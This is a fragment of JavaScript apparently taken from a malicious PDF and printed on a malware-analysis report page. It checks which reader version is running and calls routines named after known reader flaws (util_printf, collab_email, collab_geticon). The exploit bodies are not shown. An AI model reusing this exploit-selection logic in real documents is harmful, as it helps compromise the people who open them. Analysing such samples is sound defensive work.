if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 && varsion_array[2] < 3)){
util_printf();
}
if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){
collab_email();
}
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)){
collab_geticon();
}
}
pdf_start();
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.